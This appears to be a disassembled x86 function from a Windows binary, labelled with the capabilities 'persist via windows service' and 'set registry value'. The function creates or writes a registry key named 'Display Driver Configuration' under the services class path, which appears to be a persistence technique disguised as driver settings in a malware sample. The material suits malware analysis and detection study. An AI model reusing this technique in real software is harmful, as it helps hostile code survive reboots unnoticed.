Function at 0x403380
Capabilities:
Persist via windows service
Set registry value

Disassembly:
sub esp, 0x49c
push ebx
push ebp
push esi
lea eax, [esp + 0x14]
push edi
push eax
mov dword [esp + 0x1c], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [esp + 0x28], 2
jne 0x4034cd
mov ebx, dword [esp + 0x4b0]
cmp ebx, 0x80000002
jne 0x403491
mov eax, dword [esp + 0x4b4]
mov esi, str.SystemCurrentControlSetServicesClassDisplay_
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x4033eb
test cl, cl
je 0x4033e7
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x4033eb
add eax, 2
add esi, 2
test cl, cl
jne 0x4033c7
xor eax, eax
jmp 0x4033f0
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x4035fd
lea eax, [esp + 0xac]
push 0x400
push eax
call fcn.004037e0
add esp, 8
test eax, eax
je 0x4036ad
mov ebp, dword [esp + 0x4b8]
mov esi, str.UTILITY
mov eax, ebp
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x403447
test cl, cl
je 0x403443
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x403447
add eax, 2
add esi, 2
test cl, cl
jne 0x403423
xor eax, eax
jmp 0x40344c
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x4035fd
mov edi, 0x42324c
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0xac]
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0xac]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, ebp
jmp 0x4035d8
cmp ebx, 0x80000005
je 0x4035fd
cmp ebx, 0x80000001
jne 0x4036ad
mov edi, dword [esp + 0x4b4]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0xac]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov eax, ecx
mov edi, edx
jmp 0x4035be
mov edx, dword [esp + 0x4b4]
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea ebx, [esp + 0xac]
mov eax, ecx
mov esi, edi
mov edi, ebx
mov ebx, dword [esp + 0x4b0]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
cmp ebx, 0x80000002
rep movsb byte es:[edi], byte [esi]
jne 0x403590
mov esi, str.SystemCurrentControlSetServicesClassDisplay_
mov eax, edx
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x403538
test cl, cl
je 0x403534
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x403538
add eax, 2
add esi, 2
test cl, cl
jne 0x403514
xor eax, eax
jmp 0x40353d
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x4035fd
lea eax, [esp + 0xac]
push 0x400
push eax
call fcn.004037e0
add esp, 8
test eax, eax
je 0x4036ad
mov edi, 0x42324c
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0xac]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
jmp 0x4035c5
cmp ebx, 0x80000005
je 0x4035fd
cmp ebx, 0x80000001
jne 0x4036ad
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
lea ebp, [esp + 0xac]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov eax, ecx
mov edi, ebp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea edx, [esp + 0xac]
rep movsb byte es:[edi], byte [esi]
mov edi, dword [esp + 0x4b8]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea eax, [esp + 0x10]
lea ecx, [esp + 0xac]
push eax
push 0xf003f
push 0
push ecx
push ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x403649
lea edx, [esp + 0x14]
lea eax, [esp + 0x10]
push edx
push eax
push 0
push 0xf003f
push 0
push str.Display_Driver_Configuration
lea ecx, [esp + 0xc4]
push 0
push ecx
push ebx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x4036ad
mov edx, dword [esp + 0x4c4]
mov eax, dword [esp + 0x4c0]
mov ecx, dword [esp + 0x4c8]
push edx
mov edx, dword [esp + 0x4c0]
push eax
mov eax, dword [esp + 0x18]
push ecx
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x403692
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x49c
ret
mov edx, dword [esp + 0x10]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x49c
ret
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x49c
ret